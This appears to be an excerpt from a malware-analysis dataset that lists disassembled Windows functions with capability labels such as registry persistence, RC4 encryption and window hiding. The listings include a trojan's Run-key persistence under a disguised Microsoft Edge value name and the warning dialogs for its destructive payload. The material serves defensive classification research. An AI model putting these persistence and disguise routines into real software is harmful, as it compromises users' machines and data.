joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007fd00
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x14008a010]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rdx
lea rax, [rsp + 0x30]
mov rdx, rcx
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
mov r9d, 0x20019
xor r8d, r8d
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14007fd90
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x40]
mov dword [rsp + 0x38], 0x104
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov ecx, 1
cmove ebx, ecx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400824f0
mov rbx, qword [rsp + 0x180]
add rsp, 0x160
pop rdi
ret
Function at 0x14007fdc0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xa0
mov rax, qword [0x14008a010]
xor rax, rsp
mov qword [rsp + 0x90], rax
lea rdx, str.AssignedAccessPassed_XVBGJG7H68GRLRWPGZUU0RS4JB3RBSJFZFIA
lea rcx, str.SOFTWAREMicrosoftWindowsAssignedAccessConfiguration
call fcn.14007fd00
cmp eax, 1
jne 0x14007fe01
mov eax, 1
jmp 0x14007ffa2
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], di
mov ebx, 1
mov r8d, ebx
lea rdx, [0x140085c74]
lea rcx, [rsp + 0x50]
call fcn.1400017f0
nop
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 2]
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsAssignedAccessConfiguration
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14007ff40
mov word [rsp + 0x48], di
movabs rcx, 0x7ffffffffffffffe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14007ffc3
lea r9, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r9, qword [rsp + 0x50]
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
call fcn.14007f960
mov eax, dword [rsp + 0x80]
add eax, eax
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 8
cmovae rcx, qword [rsp + 0x70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
lea r9d, [rdi + 4]
xor r8d, r8d
lea rdx, str.AssignedAccessPassed_XVBGJG7H68GRLRWPGZUU0RS4JB3RBSJFZFIA
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x88]
cmp rdx, 8
jb 0x14007ff40
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007ff3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007ff3b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008279c
lea rdx, str.AssignedAccessPassed_XVBGJG7H68GRLRWPGZUU0RS4JB3RBSJFZFIA
lea rcx, str.SOFTWAREMicrosoftWindowsAssignedAccessConfiguration
call fcn.14007fd00
mov edi, eax
cmp eax, 1
cmove edi, ebx
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x14007ffa0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007ff9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007ff9b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008279c
mov eax, edi
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400824f0
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret
call fcn.140001600
nop
int3
Function at 0x14007ffd0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [0x14008a010]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdx, qword [str.MicrosoftEdgeAutoLaunch_XV8GJ97HM8GRLRWPGZUU0RSAJB3RBSJFZFI4]
mov rbx, rcx
mov rcx, qword [str._Z_b_]
call fcn.14007fd00
cmp eax, 1
jne 0x140080011
cmp qword [rbx + 0x10], 0
je 0x1400800ef
cmp qword [rbx + 0x10], 0
jne 0x14008002d
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x140080058
cmp qword [rbx + 0x18], 8
jb 0x140080037
mov rbx, qword [rbx]
mov r9d, 0x104
lea rcx, [rsp + 0x40]
mov edx, r9d
mov r8, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
xor eax, eax
mov word [rsp + 0x246], ax
mov rdx, qword [str._Z_b_]
lea rax, [rsp + 0x30]
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400800d7
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140080090
mov rdx, qword [str.MicrosoftEdgeAutoLaunch_XV8GJ97HM8GRLRWPGZUU0RSAJB3RBSJFZFI4]
lea eax, [rax*2 + 2]
mov rcx, qword [rsp + 0x30]
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [str.MicrosoftEdgeAutoLaunch_XV8GJ97HM8GRLRWPGZUU0RSAJB3RBSJFZFI4]
mov rcx, qword [str._Z_b_]
call fcn.14007fd00
cmp eax, 1
jne 0x1400800f4
mov eax, 1
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400824f0
add rsp, 0x260
pop rbx
ret

Function at 0x140080110
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x14008a010]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x38], rcx
xor eax, eax
mov dword [rsp + 0x30], eax
mov qword [rcx], rax
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 7
mov word [rcx], ax
xor r8d, r8d
lea rdx, [0x140085990]
call fcn.1400017f0
mov dword [rsp + 0x30], 1
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rbx
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400801f4
mov dword [rsp + 0x48], 0x208
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400801e9
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x1400801d1
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400017f0
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rdi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400824f0
add rsp, 0x270
pop rdi
pop rsi
pop rbx
ret
Function at 0x140081280
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x160
mov rax, qword [0x14008a010]
xor rax, rsp
mov qword [rsp + 0x150], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rax, [rsp + 0x30]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsAssignedAccessConfiguration
mov rcx, 0xffffffff80000001
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140081317
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rdx, str.AssignedAccessPassed_XVBGJG7H68GRLRWPGZUU0RS4JB3RBSJFZFIA
lea rax, [rsp + 0x40]
mov dword [rsp + 0x38], 0x104
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov ecx, 1
cmove ebx, ecx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.isExists:
call fcn.1400804e0
mov rcx, rax
movzx edx, bl
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x1400859ec]
call fcn.1400804e0
test bl, bl
je 0x14008134e
call fcn.140081020
mov r9d, 0x34
lea r8, str.Any_fool_can_do_it__which_is_why_the_silly_little_twerps_who_do_have_nothing_to_be_proud_of
lea rdx, str.You_are_about_to_run_a_Win32_trojan_virus__specifically_made_to_be_collage_assignment_and_run_on_a_virtual_machine._n_nFor_the_purpose_of_entertainment_and_education._This_software_create_a_flasing_light._Running_this_software_will_have_irreversible_destructuve_consequences_on_the_data_of_this_system._We_are_not_responsibe_for_any_unwanten_data_loss_caused_by_any_use_of_this_software_outside_its_original_purpose_or_the_reverse_engineering_of_this_software_and_subsequent_artificial_removal_of_this_disclaimer._n_nClick_Yes_if_you_have_an_understanding_of_the_function_of_this_software_and_agree_to_these_terms._Press_No_otherwise.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x140081393
lea r9d, [rax + 0x2e]
xor ecx, ecx
lea r8, str.FINAL_WARNING
lea rdx, str.If_you_have_read_the_previous_message_and_have_been_informed_of_the_destructive_consequences_of_running_this_software_and_are_still_willing_to_run_it__you_may_click_Yes_to_initiate_the_payload__or_click_No_otherwise.
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x140081393
call fcn.140081020
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400824f0
add rsp, 0x160
pop rbx
ret
Function at 0x14000ad40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x14000add0
cmp r10, r11
jb 0x14000ae46
cmp r10, rdx
ja 0x14000ae5a
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x14000add2
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x14000adb0
jmp 0x14000ae34
ja 0x14000adda
mov r11, r10
cmp rax, r8
jne 0x14000ad74
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x14000ae10
mov rdi, r8
sub ecx, edx
jns 0x14000ae2b
jmp 0x14000ae36
cmp r8, rsi
je 0x14000ae6b
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x14000ae36
xor al, 1
cmp rdi, rsi
jne 0x14000adf0
jmp 0x14000ae36
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140024bf0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140024980
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.140024a00
ud2
Function at 0x140014de0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, rcx
mov r9, qword [rcx]
test r9, r9
je 0x140014e3b
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r10
jae 0x140014e3b
movzx eax, byte [r9 + rcx]
cmp eax, 0x49
je 0x140014e56
cmp eax, 0x42
jne 0x140014e3b
lea r11, [rcx + 1]
mov qword [rsi + 0x10], r11
cmp r11, r10
jae 0x140014f06
cmp byte [r9 + r11], 0x5f
jne 0x140014f06
lea rax, [rcx + 2]
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x140014f6e
mov rcx, rsi
xor edx, edx
call fcn.140010520
mov edi, eax
add dil, dil
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
inc rcx
mov qword [rsi + 0x10], rcx
mov rcx, rsi
xor edx, edx
call fcn.140010520
test al, al
jne 0x140015001
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140014e92
lea rdx, [0x14009813b]
mov r8d, 1
call fcn.140008bb0
test al, al
jne 0x140015001
mov rax, qword [rsi]
mov dil, 1
test rax, rax
je 0x140014e4a
xor r14d, r14d
lea rbx, [0x1400984f0]
nop word [rax + rax]
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x140014ec4
cmp byte [rax + rcx], 0x45
je 0x140015023
sub r14, 1
jb 0x140014ee9
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140014ee9
mov r8d, 2
mov rdx, rbx
call fcn.140008bb0
test al, al
jne 0x140015001
mov rcx, rsi
call fcn.140011df0
test al, al
jne 0x140015001
mov rax, qword [rsi]
test rax, rax
jne 0x140014eb0
jmp 0x140014e4a
xor eax, eax
mov edi, 0x3e
nop dword [rax]
mov r8b, 1
cmp r11, r10
jae 0x140014fc8
movzx edx, byte [r9 + r11]
cmp dl, 0x5f
je 0x140014f62
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x140014f4c
lea ebx, [rdx - 0x61]
cmp bl, 0x1a
jae 0x140014f3b
add dl, 0xa9
jmp 0x140014f4a
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
jae 0x140014fc8
add dl, 0xe3
mov ebx, edx
inc r11
mov qword [rsi + 0x10], r11
mul rdi
jo 0x140014fc8
movzx edx, bl
add rax, rdx
jae 0x140014f10
jmp 0x140014fc8
inc r11
mov qword [rsi + 0x10], r11
inc rax
je 0x140014fc8
cmp rax, rcx
jae 0x140014fc5
mov ecx, dword [rsi + 0x18]
inc ecx
cmp ecx, 0x1f4
ja 0x14001501b
cmp qword [rsi + 0x20], 0
je 0x140015014
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], ecx
mov rcx, rsi
call fcn.140014de0
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x140014e4c
mov r8b, 1
xor edi, edi
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140015009
lea rax, str.invalid_syntaxrecursion_limit_reached
lea rdx, [0x1400984b0]
test r8b, r8b
cmovne rdx, rax
xor r8b, 1
movzx eax, r8b
lea r8, [rax + rax*8]
or r8, 0x10
call fcn.140008bb0
test al, al
je 0x140015009
mov dil, 2
jmp 0x140014e4a
mov qword [rsi], 0
mov byte [rsi + 8], dil
xor edi, edi
jmp 0x140014e4a
mov dil, 1
xor r8d, r8d
jmp 0x140014fca
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x140014e4a
Function at 0x14001c790
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rdi, rdx
movzx ebp, byte [rdx + 0x38]
xor ebx, ebx
cmp bpl, 1
setne dl
mov eax, 0
sbb eax, eax
mov rsi, rcx
or al, dl
movzx ecx, al
cmp cl, 0xff
je 0x14001c7c0
test ecx, ecx
jne 0x14001c810
movzx ebx, byte [rdi + 0x3a]
cmp al, 0xff
je 0x14001c7cc
test ecx, ecx
jne 0x14001c810
mov rcx, rdi
call fcn.14001c670
movzx eax, al
test bpl, bpl
jne 0x14001c817
lea rdx, [rdi + 0x10]
xor ecx, ecx
cmp byte [rdi + 0x10], 6
cmove rdx, rcx
je case.0x14001c803.2
movzx r8d, byte [rdx]
mov ecx, 6
lea r9, [0x14001c988]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
mov rcx, qword [rdx + 0x10]
add rcx, 4
jmp case.0x14001c803.2
xor eax, eax
test bpl, bpl
je 0x14001c7dc
xor ecx, ecx
add rax, rcx
movzx r10d, bl
lea rcx, [rax + r10]
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jb 0x14001c969
mov r11, qword [rdi]
lea r8, [r11 + rcx]
cmp rdx, rcx
jne 0x14001c84a
movzx r9d, byte [rdi + 0x10]
xor r10d, r10d
jmp 0x14001c8c9
movzx r9d, byte [rdi + 0x10]
add rax, r10
sub rax, rdx
inc rax
lea rdi, [rdx + r11]
dec rdi
xor r10d, r10d
cmp r9b, 3
jae 0x14001c890
nop dword [rax + rax]
cmp byte [rdi], 0x5c
je 0x14001c8ab
inc rax
dec rdi
cmp rax, 1
jne 0x14001c870
jmp 0x14001c8c9
movzx ebx, byte [rdi]
cmp ebx, 0x2f
je 0x14001c8ab
cmp ebx, 0x5c
je 0x14001c8ab
inc rax
dec rdi
cmp rax, 1
jne 0x14001c890
jmp 0x14001c8c9
neg rax
add rcx, rax
inc rcx
cmp rdx, rcx
jb 0x14001c977
add r11, rcx
mov r10d, 1
mov r8, r11
sub rdx, rcx
je 0x14001c8f3
mov al, 9
cmp rdx, 2
je 0x14001c8f7
cmp rdx, 1
jne 0x14001c907
cmp byte [r8], 0x2e
jne 0x14001c907
xor eax, eax
cmp r9b, 3
setae al
lea eax, [rax + rax*2]
add eax, 7
jmp 0x14001c907
mov al, 0xa
jmp 0x14001c907
cmp byte [r8], 0x2e
jne 0x14001c907
cmp byte [r8 + 1], 0x2e
sete al
xor al, 9
add r10, rdx
mov qword [rsi], r10
mov byte [rsi + 8], al
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], rdx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp case.0x14001c803.2
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp case.0x14001c803.2
mov ecx, 2
jmp case.0x14001c803.2
lea r8, str.library_std_srcpath.rs
call fcn.140024900
ud2
lea r8, str.library_std_srcpath.rs
call fcn.140024900
ud2
Function at 0x140024360
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400243aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400243aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400243aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400243aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400243aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400243ac
xor al, al
add rsp, 0x28
ret
Function at 0x10007510
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xa0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor edi, edi
xor eax, eax
lock cmpxchg qword [0x10015150], rbx
je 0x10007566
cmp rax, rbx
jne 0x10007559
mov edi, 1
jmp 0x10007566
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10007540
mov eax, dword [0x10015148]
cmp eax, 1
jne 0x1000757b
lea ecx, [rax + 0x1e]
call fcn.1013f000
jmp 0x100075ba
mov eax, dword [0x10015148]
test eax, eax
jne 0x100075b0
mov dword [0x10015148], 1
lea rdx, [0x100014d0]
lea rcx, [0x100014b8]
call sub.MSVCR80.dll__initterm_e
test eax, eax
je 0x100075ba
mov eax, 0xff
jmp 0x10007714
mov dword [0x10014314], 1
mov eax, dword [0x10015148]
cmp eax, 1
jne 0x100075e2
lea rdx, [0x100014b0]
lea rcx, [0x10001470]
call sub.MSVCR80.dll__initterm
mov dword [0x10015148], 2
test edi, edi
jne 0x100075ef
xor eax, eax
xchg qword [0x10015150], rax
cmp qword [0x10015168], 0
je 0x10007618
lea rcx, [0x10015168]
call fcn.10007b90
test eax, eax
je 0x10007618
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x10015168]
mov rax, qword [sym.imp.MSVCR80.dll__acmdln]
mov rbx, qword [rax]
mov qword [rsp + 0x28], rbx
mov edi, dword [rsp + 0x20]
nop
nop
movzx ecx, byte [rbx]
cmp cl, 0x20
ja 0x100076aa
test cl, cl
je 0x10007640
test edi, edi
jne 0x100076aa
movzx eax, byte [rbx]
test al, al
je 0x10007656
cmp al, 0x20
ja 0x10007656
add rbx, 1
mov qword [rsp + 0x28], rbx
jmp 0x10007640
test byte [rsp + 0x6c], 1
je 0x10007665
movzx r9d, word [rsp + 0x70]
jmp 0x1000766b
mov r9d, 0xa
mov r8, rbx
xor edx, edx
lea rcx, [0x10000000]
call fcn.10005300
mov dword [0x10014310], eax
cmp dword [0x100142f4], 0
jne 0x10007693
mov ecx, eax
call qword [sym.imp.MSVCR80.dll_exit]
cmp dword [0x10014314], 0
jne 0x100076a8
call qword [sym.imp.MSVCR80.dll__cexit]
mov eax, dword [0x10014310]
jmp 0x1000770d
cmp cl, 0x22
jne 0x100076bc
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [rsp + 0x20], eax
movzx ecx, cl
call qword [sym.imp.MSVCR80.dll__ismbblead]
test eax, eax
je 0x100076d2
add rbx, 1
mov qword [rsp + 0x28], rbx
add rbx, 1
mov qword [rsp + 0x28], rbx
jmp 0x10007630
jmp 0x10007714
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret
sub rsp, 0x28
call fcn.10007c10
add rsp, 0x28
jmp 0x10007510
Function at 0x1400139ce
Capabilities:
Terminate process

Disassembly:
jmp 0x1400376d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140013b5e
Capabilities:
Get geographical location

Disassembly:
jmp 0x140031450
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x14003148d
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.14001417b
add rsp, 0x58
ret

Function at 0x140013c12
Capabilities:
Parse pe header

Disassembly:
jmp 0x140036a90
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140036ab0
xor al, al
jmp 0x140036b31
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140036ac3
xor al, al
jmp 0x140036b31
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140036aed
xor al, al
jmp 0x140036b31
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140036b01
xor al, al
jmp 0x140036b31
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140036b13
xor al, al
jmp 0x140036b31
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140036b2f
xor al, al
jmp 0x140036b31
mov al, 1
add rsp, 0x38
ret
Function at 0x140013c99
Capabilities:
Hide graphical window

Disassembly:
jmp 0x140031050
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x208
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x228]
mov rax, qword [0x14004b040]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x14005512b]
call fcn.14001419e
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x48
rep stosb byte [rdi], al
lea rax, [0x1400139f6]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x40], 6
lea rax, str.FindMissingNumbers
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x10]
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], 0
mov rax, qword [rbp + 0x1c0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0xc8
mov dword [rsp + 0x30], 0x190
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.Find_Missing_Numbers
lea rdx, str.FindMissingNumbers
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [rbp + 0x78], rax
mov edx, dword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.USER32.dll_UpdateWindow]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x98]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x1400311a1
lea rcx, [rbp + 0x98]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x98]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x14003116c
mov eax, dword [rbp + 0xa8]
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, [0x14003fd50]
call fcn.140013e92
mov eax, edi
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.14001386b
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x140001784
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
